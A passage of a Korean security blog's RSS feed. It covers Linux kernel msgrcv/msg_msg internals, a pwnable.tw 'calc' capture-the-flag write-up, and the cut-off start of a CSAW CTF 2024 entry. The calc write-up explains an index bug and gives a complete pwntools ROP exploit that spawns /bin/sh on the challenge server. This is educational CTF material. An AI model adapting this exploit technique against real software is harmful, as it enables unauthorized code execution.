src=&quot;https://blog.kakaocdn.net/dn/VUDG5/btsJUYwmcAD/21wXoHDGieaJMb8EmgcNjk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FVUDG5%2FbtsJUYwmcAD%2F21wXoHDGieaJMb8EmgcNjk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2076&quot; height=&quot;850&quot;/&gt;&lt;/span&gt;&lt;/div&gt;
  &lt;figcaption&gt;https://syst3mfailure.io/wall-of-perdition/&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;text-align: justify;&quot; data-ke-size=&quot;size26&quot;&gt;6. do_msgrcv()&lt;/h2&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size16&quot;&gt;메시지를 보내는 것을 알아봤으니 이제 받는 것을 알아보겠습니다. msgrcv() 함수를 이용하며 다음과 같이 사용할 수 있습니다. 위에서 msgsnd() 함수와 플래그 값이 다르네요.&lt;/p&gt;
&lt;pre id=&quot;code_1727953799165&quot; class=&quot;cpp&quot; data-ke-language=&quot;cpp&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;void *memdump = malloc(0x1fc8);
msgrcv(qid, memdump, 0x1fc8, 1, IPC_NOWAIT | MSG_COPY);&lt;/code&gt;&lt;/pre&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size16&quot;&gt;유저 영역에서 msgrcv() 함수를 호출하면 커널은 ksys_msgrcv() -&amp;gt; do_msgrcv() 순으로 호출합니다.&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1727942663792&quot; class=&quot;cpp&quot; data-ke-language=&quot;cpp&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;long ksys_msgrcv(int msqid, struct msgbuf __user *msgp, size_t msgsz, long msgtyp, int msgflg)
{
	return do_msgrcv(msqid, msgp, msgsz, msgtyp, msgflg, do_msg_fill);
}&lt;/code&gt;&lt;/pre&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size16&quot;&gt;ksys_msgrcv() 함수에서 do_msgrcv() 함수의 여섯 번째 인자인 함수 포인터 msg_handler를 do_msg_fill() 로 설정한 뒤 do_msgrcv() 함수를 호출합니다.&lt;/p&gt;
&lt;pre id=&quot;code_1727942764666&quot; class=&quot;cpp&quot; data-ke-language=&quot;cpp&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;static long do_msgrcv(int msqid, void __user *buf, size_t bufsz, long msgtyp, int msgflg,
	       long (*msg_handler)(void __user *, struct msg_msg *, size_t))
{
	int mode;
	struct msg_queue *msq;
	struct ipc_namespace *ns;
	struct msg_msg *msg, *copy = NULL;
	DEFINE_WAKE_Q(wake_q);

	ns = current-&amp;gt;nsproxy-&amp;gt;ipc_ns;

	if (msqid &amp;lt; 0 || (long) bufsz &amp;lt; 0)
		return -EINVAL;

	if (msgflg &amp;amp; MSG_COPY) {
		if ((msgflg &amp;amp; MSG_EXCEPT) || !(msgflg &amp;amp; IPC_NOWAIT))
			return -EINVAL;
		copy = prepare_copy(buf, min_t(size_t, bufsz, ns-&amp;gt;msg_ctlmax));
		if (IS_ERR(copy))
			return PTR_ERR(copy);
	}
	mode = convert_mode(&amp;amp;msgtyp, msgflg);

	rcu_read_lock();
	msq = msq_obtain_object_check(ns, msqid);
	if (IS_ERR(msq)) {
		rcu_read_unlock();
		free_copy(copy);
		return PTR_ERR(msq);
	}

	for (;;) {
		struct msg_receiver msr_d;

		msg = ERR_PTR(-EACCES);
		if (ipcperms(ns, &amp;amp;msq-&amp;gt;q_perm, S_IRUGO))
			goto out_unlock1;

		ipc_lock_object(&amp;amp;msq-&amp;gt;q_perm);

		/* raced with RMID? */
		if (!ipc_valid_object(&amp;amp;msq-&amp;gt;q_perm)) {
			msg = ERR_PTR(-EIDRM);
			goto out_unlock0;
		}

		msg = find_msg(msq, &amp;amp;msgtyp, mode);
		if (!IS_ERR(msg)) {
			/*
			 * Found a suitable message.
			 * Unlink it from the queue.
			 */
			if ((bufsz &amp;lt; msg-&amp;gt;m_ts) &amp;amp;&amp;amp; !(msgflg &amp;amp; MSG_NOERROR)) {
				msg = ERR_PTR(-E2BIG);
				goto out_unlock0;
			}
			/*
			 * If we are copying, then do not unlink message and do
			 * not update queue parameters.
			 */
			if (msgflg &amp;amp; MSG_COPY) {
				msg = copy_msg(msg, copy);
				goto out_unlock0;
			}

			list_del(&amp;amp;msg-&amp;gt;m_list);
			msq-&amp;gt;q_qnum--;
			msq-&amp;gt;q_rtime = ktime_get_real_seconds();
			ipc_update_pid(&amp;amp;msq-&amp;gt;q_lrpid, task_tgid(current));
			msq-&amp;gt;q_cbytes -= msg-&amp;gt;m_ts;
			percpu_counter_sub_local(&amp;amp;ns-&amp;gt;percpu_msg_bytes, msg-&amp;gt;m_ts);
			percpu_counter_sub_local(&amp;amp;ns-&amp;gt;percpu_msg_hdrs, 1);
			ss_wakeup(msq, &amp;amp;wake_q, false);

			goto out_unlock0;
		}

		/* No message waiting. Wait for a message */
		if (msgflg &amp;amp; IPC_NOWAIT) {
			msg = ERR_PTR(-ENOMSG);
			goto out_unlock0;
		}

		list_add_tail(&amp;amp;msr_d.r_list, &amp;amp;msq-&amp;gt;q_receivers);
		msr_d.r_tsk = current;
		msr_d.r_msgtype = msgtyp;
		msr_d.r_mode = mode;
		if (msgflg &amp;amp; MSG_NOERROR)
			msr_d.r_maxsize = INT_MAX;
		else
			msr_d.r_maxsize = bufsz;

		/* memory barrier not require due to ipc_lock_object() */
		WRITE_ONCE(msr_d.r_msg, ERR_PTR(-EAGAIN));

		/* memory barrier not required, we own ipc_lock_object() */
		__set_current_state(TASK_INTERRUPTIBLE);

		ipc_unlock_object(&amp;amp;msq-&amp;gt;q_perm);
		rcu_read_unlock();
		schedule();

		/*
		 * Lockless receive, part 1:
		 * We don't hold a reference to the queue and getting a
		 * reference would defeat the idea of a lockless operation,
		 * thus the code relies on rcu to guarantee the existence of
		 * msq:
		 * Prior to destruction, expunge_all(-EIRDM) changes r_msg.
		 * Thus if r_msg is -EAGAIN, then the queue not yet destroyed.
		 */
		rcu_read_lock();

		/*
		 * Lockless receive, part 2:
		 * The work in pipelined_send() and expunge_all():
		 * - Set pointer to message
		 * - Queue the receiver task for later wakeup
		 * - Wake up the process after the lock is dropped.
		 *
		 * Should the process wake up before this wakeup (due to a
		 * signal) it will either see the message and continue ...
		 */
		msg = READ_ONCE(msr_d.r_msg);
		if (msg != ERR_PTR(-EAGAIN)) {
			/* see MSG_BARRIER for purpose/pairing */
			smp_acquire__after_ctrl_dep();

			goto out_unlock1;
		}

		 /*
		  * ... or see -EAGAIN, acquire the lock to check the message
		  * again.
		  */
		ipc_lock_object(&amp;amp;msq-&amp;gt;q_perm);

		msg = READ_ONCE(msr_d.r_msg);
		if (msg != ERR_PTR(-EAGAIN))
			goto out_unlock0;

		list_del(&amp;amp;msr_d.r_list);
		if (signal_pending(current)) {
			msg = ERR_PTR(-ERESTARTNOHAND);
			goto out_unlock0;
		}

		ipc_unlock_object(&amp;amp;msq-&amp;gt;q_perm);
	}

out_unlock0:
	ipc_unlock_object(&amp;amp;msq-&amp;gt;q_perm);
	wake_up_q(&amp;amp;wake_q);
out_unlock1:
	rcu_read_unlock();
	if (IS_ERR(msg)) {
		free_copy(copy);
		return PTR_ERR(msg);
	}

	bufsz = msg_handler(buf, msg, bufsz);
	free_msg(msg);

	return bufsz;
}&lt;/code&gt;&lt;/pre&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size16&quot;&gt;간단하게 살펴보면 find_msg로 msg_msg 구조체 가져와서 검사한 뒤 msg_hander로 설정된 do_msg_fill() 함수로 넘어가는 구조임을 알 수 있습니다.&amp;nbsp;do_msg_fill()를 수행하고 나면 free_msg()를 호출합니다. 먼저 do_msg_fill() 함수부터 보시죠!&lt;/p&gt;
&lt;pre id=&quot;code_1727953025873&quot; class=&quot;cpp&quot; data-ke-language=&quot;cpp&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;static long do_msg_fill(void __user *dest, struct msg_msg *msg, size_t bufsz)
{
	struct msgbuf __user *msgp = dest;
	size_t msgsz;

	if (put_user(msg-&amp;gt;m_type, &amp;amp;msgp-&amp;gt;mtype))
		return -EFAULT;

	msgsz = (bufsz &amp;gt; msg-&amp;gt;m_ts) ? msg-&amp;gt;m_ts : bufsz;
	if (store_msg(msgp-&amp;gt;mtext, msg, msgsz))
		return -EFAULT;
	return msgsz;
}&lt;/code&gt;&lt;/pre&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size16&quot;&gt;요청된 크기와 저장된 크기를 비교해서 요청 크기 &amp;gt; 저장 크기일 경우 저장된 크기만큼만 사이즈로 설장해준 뒤 store_msg() 함수를 호출합니다.&lt;/p&gt;
&lt;pre id=&quot;code_1727953173900&quot; class=&quot;cpp&quot; data-ke-language=&quot;cpp&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;int store_msg(void __user *dest, struct msg_msg *msg, size_t len)
{
	size_t alen;
	struct msg_msgseg *seg;

	alen = min(len, DATALEN_MSG);
	if (copy_to_user(dest, msg + 1, alen))
		return -1;

	for (seg = msg-&amp;gt;next; seg != NULL; seg = seg-&amp;gt;next) {
		len -= alen;
		dest = (char __user *)dest + alen;
		alen = min(len, DATALEN_SEG);
		if (copy_to_user(dest, seg + 1, alen))
			return -1;
	}
	return 0;
}&lt;/code&gt;&lt;/pre&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;copy_to_user 함수로 지정된 사이즈만큼 커널에서 복사해줍니다. 이제 do_msg_fill()함수가 끝났으니 free_msg() 함수를 살펴보겠습니다.&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1727953399154&quot; class=&quot;cpp&quot; data-ke-language=&quot;cpp&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;void free_msg(struct msg_msg *msg)
{
	struct msg_msgseg *seg;

	security_msg_msg_free(msg);

	seg = msg-&amp;gt;next;
	kfree(msg);
	while (seg != NULL) {
		struct msg_msgseg *tmp = seg-&amp;gt;next;

		cond_resched();
		kfree(seg);
		seg = tmp;
	}
}&lt;/code&gt;&lt;/pre&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size16&quot;&gt;msgsnd() 함수에서 할당 받은 msg_msg 구조체 안에 존재하는 세그먼트를 포함한 모든 구조체들을 해제해줍니다. 그런데 해제가 되지 않는 구조체도 있습니다. do_msgrcv() 함수를 살펴보면 중간에 플래그에 MSG_COPY가 있으면 prepare_copy(), copy_msg() 함수를 호출하는 부분이 존재하는데요. 해당 부분을 살펴보겠습니다.&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1727954283438&quot; class=&quot;cpp&quot; data-ke-language=&quot;cpp&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;	if (msgflg &amp;amp; MSG_COPY) {
		if ((msgflg &amp;amp; MSG_EXCEPT) || !(msgflg &amp;amp; IPC_NOWAIT))
			return -EINVAL;
		copy = prepare_copy(buf, min_t(size_t, bufsz, ns-&amp;gt;msg_ctlmax));
		if (IS_ERR(copy))
			return PTR_ERR(copy);
	}
    ...
    	msg = find_msg(msq, &amp;amp;msgtyp, mode);
		if (!IS_ERR(msg)) {
			...
			if (msgflg &amp;amp; MSG_COPY) {
				msg = copy_msg(msg, copy);
				goto out_unlock0;
			}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;prepare_copy() 함수를 호출하면 msg_msg 구조체를 할당 받습니다.&lt;/p&gt;
&lt;pre id=&quot;code_1727954337070&quot; class=&quot;cpp&quot; data-ke-language=&quot;cpp&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;static inline struct msg_msg *prepare_copy(void __user *buf, size_t bufsz)
{
	struct msg_msg *copy;

	/*
	 * Create dummy message to copy real message to.
	 */
	copy = load_msg(buf, bufsz);
	if (!IS_ERR(copy))
		copy-&amp;gt;m_ts = bufsz;
	return copy;
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;이후 copy_msg() 함수에서 memcpy() 함수로 msg의 내용을 copy에 복사합니다. 이렇게 생성된 복사본은 리턴되어 msg에 저장되고 free_msg() 함수에 의해 해제되지만 원본은 남아 있게 됩니다.&lt;/p&gt;
&lt;pre id=&quot;code_1727954833564&quot; class=&quot;cpp&quot; data-ke-language=&quot;cpp&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;struct msg_msg *copy_msg(struct msg_msg *src, struct msg_msg *dst)
{
	struct msg_msgseg *dst_pseg, *src_pseg;
	size_t len = src-&amp;gt;m_ts;
	size_t alen;

	if (src-&amp;gt;m_ts &amp;gt; dst-&amp;gt;m_ts)
		return ERR_PTR(-EINVAL);

	alen = min(len, DATALEN_MSG);
	memcpy(dst + 1, src + 1, alen);

	for (dst_pseg = dst-&amp;gt;next, src_pseg = src-&amp;gt;next;
	     src_pseg != NULL;
	     dst_pseg = dst_pseg-&amp;gt;next, src_pseg = src_pseg-&amp;gt;next) {

		len -= alen;
		alen = min(len, DATALEN_SEG);
		memcpy(dst_pseg + 1, src_pseg + 1, alen);
	}

	dst-&amp;gt;m_type = src-&amp;gt;m_type;
	dst-&amp;gt;m_ts = src-&amp;gt;m_ts;

	return dst;
}&lt;/code&gt;&lt;/pre&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-style=&quot;style3&quot; data-ke-type=&quot;horizontalRule&quot; /&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://syst3mfailure.io/wall-of-perdition/&quot; target=&quot;_blank&quot; rel=&quot;noopener&amp;nbsp;noreferrer&quot;&gt;https://syst3mfailure.io/wall-of-perdition/&lt;/a&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://pwn.college/software-exploitation/kernel-exploitation/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://pwn.college/software-exploitation/kernel-exploitation/&lt;/a&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>background/linux kernel</category>
      <author>ssongk</author>
      <guid isPermaLink="true">https://ssongkit.tistory.com/832</guid>
      <comments>https://ssongkit.tistory.com/832#entry832comment</comments>
      <pubDate>Thu, 3 Oct 2024 20:39:58 +0900</pubDate>
    </item>
    <item>
      <title>[pwnable.tw] calc write-up</title>
      <link>https://ssongkit.tistory.com/831</link>
      <description>&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;367&quot; data-origin-height=&quot;132&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/sjkgs/btsJEiJj0JS/OhlHSgDliVfIAfUtjhHhX0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/sjkgs/btsJEiJj0JS/OhlHSgDliVfIAfUtjhHhX0/img.png&quot; data-alt=&quot;어렵네 ㅋㅋ&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/sjkgs/btsJEiJj0JS/OhlHSgDliVfIAfUtjhHhX0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fsjkgs%2FbtsJEiJj0JS%2FOhlHSgDliVfIAfUtjhHhX0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;367&quot; height=&quot;132&quot; data-origin-width=&quot;367&quot; data-origin-height=&quot;132&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;어렵네 ㅋㅋ&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;시간 제한이 걸려있는 계산기다.&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;편의를 위해 변수 이름을 바꾸고 구조체를 만들었다.&lt;/p&gt;
&lt;pre id=&quot;code_1726580145179&quot; class=&quot;cpp&quot; data-ke-language=&quot;cpp&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;00000000 pool_st         struc ; (sizeof=0x194, mappedto_16)
00000000                                         ; XREF: calc/r
00000000 pool_idx        dd ?                    ; XREF: calc+7D/r
00000004 buf             dd 100 dup(?)           ; XREF: calc+86/r
00000194 pool_st         ends
00000194&lt;/code&gt;&lt;/pre&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;메인 함수는 계산기 함수 calc를 호출해준다.&lt;/p&gt;
&lt;pre id=&quot;code_1726579738825&quot; class=&quot;cpp&quot; data-ke-language=&quot;cpp&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;int __cdecl main(int argc, const char **argv, const char **envp)
{
  ssignal(0xE, timeout);
  alarm(0x3C);
  puts(&quot;=== Welcome to SECPROG calculator ===&quot;);
  fflush(stdout);
  calc();
  return puts(&quot;Merry Christmas!&quot;);
}&lt;/code&gt;&lt;/pre&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;계산식을 입력받아서 계산해주는 구조를 가지고 있다.&lt;/p&gt;
&lt;pre id=&quot;code_1726579753342&quot; class=&quot;cpp&quot; data-ke-language=&quot;cpp&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;unsigned int calc()
{
  pool_st pool; // [esp+18h] [ebp-5A0h] BYREF
  char expr[1024]; // [esp+1ACh] [ebp-40Ch] BYREF
  unsigned int canary; // [esp+5ACh] [ebp-Ch]

  canary = __readgsdword(0x14u);
  while ( 1 )
  {
    bzero(expr, 0x400u);
    if ( !get_expr(expr, 0x400) )
      break;
    init_pool(&amp;amp;pool);
    if ( parse_expr(expr, &amp;amp;pool) )
    {
      printf(&quot;%d\n&quot;, pool.buf[pool.pool_idx - 1]);
      fflush(stdout);
    }
  }
  return __readgsdword(0x14u) ^ canary;
}&lt;/code&gt;&lt;/pre&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;계산식에는 0~9까지와 연산 기호만 입력할 수 있게 되어 있다.&lt;/p&gt;
&lt;pre id=&quot;code_1726579761942&quot; class=&quot;cpp&quot; data-ke-language=&quot;cpp&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;int __cdecl get_expr(char *expr_1, int size)
{
  int idx_; // eax
  char expr; // [esp+1Bh] [ebp-Dh] BYREF
  int idx; // [esp+1Ch] [ebp-Ch]

  idx = 0;
  while ( idx &amp;lt; size &amp;amp;&amp;amp; read(0, (int)&amp;amp;expr, 1) != 0xFFFFFFFF &amp;amp;&amp;amp; expr != '\n' )
  {
    if ( expr == '+' || expr == '-' || expr == '*' || expr == '/' || expr == '%' || expr &amp;gt; 0x2F &amp;amp;&amp;amp; expr &amp;lt;= 0x39 )
    {
      idx_ = idx++;
      expr_1[idx_] = expr;
    }
  }
  expr_1[idx] = 0;
  return idx;
}&lt;/code&gt;&lt;/pre&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;pool은 임시 버퍼로 할용되는 것 같은데 계산할 때 마다 초기화해준다.&lt;/p&gt;
&lt;pre id=&quot;code_1726579779481&quot; class=&quot;cpp&quot; data-ke-language=&quot;cpp&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;pool_st *__cdecl init_pool(pool_st *pool)
{
  pool_st *result; // eax
  int idx; // [esp+Ch] [ebp-4h]

  result = pool;
  pool-&amp;gt;pool_idx = 0;
  for ( idx = 0; idx &amp;lt;= 0x63; ++idx )
  {
    result = pool;
    pool-&amp;gt;buf[idx] = 0;
  }
  return result;
}&lt;/code&gt;&lt;/pre&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;계산식을 해석해서 계산하는 함수를 호출해주는 함수다.&lt;/p&gt;
&lt;pre id=&quot;code_1726579772463&quot; class=&quot;cpp&quot; data-ke-language=&quot;cpp&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;int __cdecl parse_expr(char *expr1, pool_st *pool)
{
  int pool_idx; // eax
  char *expr2; // [esp+20h] [ebp-88h]
  int i; // [esp+24h] [ebp-84h]
  int idx; // [esp+28h] [ebp-80h]
  char *size; // [esp+2Ch] [ebp-7Ch]
  char *op; // [esp+30h] [ebp-78h]
  int op_num; // [esp+34h] [ebp-74h]
  char expr_result[100]; // [esp+38h] [ebp-70h] BYREF
  unsigned int canary; // [esp+9Ch] [ebp-Ch]

  canary = __readgsdword(0x14u);
  expr2 = expr1;
  idx = 0;
  bzero(expr_result, 0x64u);
  for ( i = 0; ; ++i )
  {
    // not number
    if ( (unsigned int)(expr1[i] - 0x30) &amp;gt; 9 )
    {
      size = (char *)(&amp;amp;expr1[i] - expr2);
      op = (char *)malloc(size + 1);
      memcpy(op, expr2, size);
      op[(_DWORD)size] = 0;
      if ( !strcmp(op, &quot;0&quot;) )
      {
        puts(&quot;prevent division by zero&quot;);
        fflush(stdout);
        return 0;
      }
      op_num = atoi(op);
      if ( op_num &amp;gt; 0 )
      {
        pool_idx = pool-&amp;gt;pool_idx++;
        pool-&amp;gt;buf[pool_idx] = op_num;
      }
      if ( expr1[i] &amp;amp;&amp;amp; expr1[i + 1] - (unsigned int)'0' &amp;gt; 9 )
      {
        puts(&quot;expression error!&quot;);
        fflush(stdout);
        return 0;
      }
      expr2 = &amp;amp;expr1[i + 1];
      if ( expr_result[idx] )
      {
        switch ( expr1[i] )
        {
          case '%':
          case '*':
          case '/':
            if ( expr_result[idx] != '+' &amp;amp;&amp;amp; expr_result[idx] != '-' )
              goto LABEL_14;
            expr_result[++idx] = expr1[i];
            break;
          case '+':
          case '-':
LABEL_14:
            eval(pool, expr_result[idx]);
            expr_result[idx] = expr1[i];
            break;
          default:
            eval(pool, expr_result[idx--]);
            break;
        }
      }
      else
      {
        expr_result[idx] = expr1[i];
      }
      if ( !expr1[i] )
        break;
    }
  }
  while ( idx &amp;gt;= 0 )
    eval(pool, expr_result[idx--]);
  return 1;
}&lt;/code&gt;&lt;/pre&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;실제 계산을 수행하는 함수다.&lt;/p&gt;
&lt;pre id=&quot;code_1726580077742&quot; class=&quot;cpp&quot; data-ke-language=&quot;cpp&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;pool_st *__cdecl eval(pool_st *pool, char expr)
{
  pool_st *result; // eax

  if ( expr == '+' )
  {
    pool-&amp;gt;buf[pool-&amp;gt;pool_idx - 2] += pool-&amp;gt;buf[pool-&amp;gt;pool_idx - 1];
  }
  else if ( expr &amp;gt; '+' )
  {
    if ( expr == '-' )
    {
      pool-&amp;gt;buf[pool-&amp;gt;pool_idx - 2] -= pool-&amp;gt;buf[pool-&amp;gt;pool_idx - 1];
    }
    else if ( expr == '/' )
    {
      pool-&amp;gt;buf[pool-&amp;gt;pool_idx - 2] /= pool-&amp;gt;buf[pool-&amp;gt;pool_idx - 1];
    }
  }
  else if ( expr == '*' )
  {
    pool-&amp;gt;buf[pool-&amp;gt;pool_idx - 2] *= pool-&amp;gt;buf[pool-&amp;gt;pool_idx - 1];
  }
  result = pool;
  --pool-&amp;gt;pool_idx;
  return result;
}&lt;/code&gt;&lt;/pre&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;parse_expr 함수를 보면 op_num과 0을 signed로 비교한다.&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1726580248081&quot; class=&quot;cpp&quot; data-ke-language=&quot;cpp&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;      if ( op_num &amp;gt; 0 )
      {
        pool_idx = pool-&amp;gt;pool_idx++;
        pool-&amp;gt;buf[pool_idx] = op_num;
      }&lt;/code&gt;&lt;/pre&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;맨 앞에 숫자가 아닌 연산 기호를 쓰게 되면&lt;br /&gt;pool_idx를&amp;nbsp;바꿀&amp;nbsp;수&amp;nbsp;있고&amp;nbsp;AAW를&amp;nbsp;할&amp;nbsp;수&amp;nbsp;있게&amp;nbsp;된다.&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;그걸 이용해서 pool 영역 아래에 rop 페이로드를 작성하고 해당 주소로 점프하도록 만들면 된다.&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;pool 영역은 계속해서 초기화되기 때문에 pool 영역 아래에 페이로드를 작성했어야 했다.&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;(32비트이므로 syscall이 아닌 int 0x80을 사용)&lt;/p&gt;
&lt;pre id=&quot;code_1726579721845&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;from pwn import *

context.log_level = 'debug'

# p = process('./calc')
p = remote('chall.pwnable.tw', 10100)

p.recvline()
pay = b'-8'
p.sendline(pay)
binsh = (int(p.recvline().decode(),10) + 0x320) &amp;amp; 0xffffffff
print('[binsh]',hex(binsh))

# /bin/sh
pay = b'+560+'+str(0x6e69622f).encode()
p.sendline(pay)
p.recvline()
pay = b'+561-'+str(0x6e69622f-0x0068732f).encode()
p.sendline(pay)
p.recvline()

# pop eax
pay = b'+569+'+str(0x0805c34b).encode()
p.sendline(pay)
p.recvline()

pay = b'+570-'+str(0x0805c34b-0xb).encode()
p.sendline(pay)
p.recvline()

# pop edx ; pop ecx ; pop ebx ; ret
pay = b'+571+'+str(0x080701d0-0x0805c34b+0xb).encode()
p.sendline(pay)
p.recvline()

pay = b'+572-'+str(0x080701d0-0x0805c34b+0xb).encode()
p.sendline(pay)
p.recvline()

pay = b'+573-'+str(0x080701d0-0x0805c34b+0xb).encode()
p.sendline(pay)
p.recvline()

pay = b'+574-'+str(0x100000000-binsh+(0x080701d0-0x0805c34b+0xb)).encode()
p.sendline(pay)
p.recvline()

# int 0x80
pay = b'+575+'+str(0x08049a21 - ((0x100000000-binsh)+(0x080701d0-0x0805c34b+0xb))).encode()
p.sendline(pay)
p.recvline()

# eip control
# 0x080493f2
# add esp, 8ECh
pay = b'-7+55851'
p.sendline(pay)

p.interactive()

'''
/bin/sh
6e69622f   1852400175
0068732f   6845231

0x080701d0 : pop edx ; pop ecx ; pop ebx ; ret
0x08049a21 : int 0x80

0x08056E1D : add esp, 8ECh
'''&lt;/code&gt;&lt;/pre&gt;</description>
      <category>write-up(pwn)/pwnable.tw</category>
      <author>ssongk</author>
      <guid isPermaLink="true">https://ssongkit.tistory.com/831</guid>
      <comments>https://ssongkit.tistory.com/831#entry831comment</comments>
      <pubDate>Tue, 17 Sep 2024 22:52:59 +0900</pubDate>
    </item>
    <item>
      <title>CSAW CTF 2024 Quals (Pwn)</title>
      <link>https://ssongkit.tistory.com/830</link>
      <description>&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;[&amp;nbsp;solved&amp;nbsp;]&lt;/b&gt; &lt;br /&gt;&lt;br /&gt;mini-golfing&lt;/p&gt;
&lt;div data-ke-type=&quot;moreLess&quot; data-text-more=&quot;더보기&quot; data-text-less=&quot;닫기&quot;&gt;&lt;a class=&quot;btn-toggle-moreless&quot;&gt;더보기&lt;/a&gt;
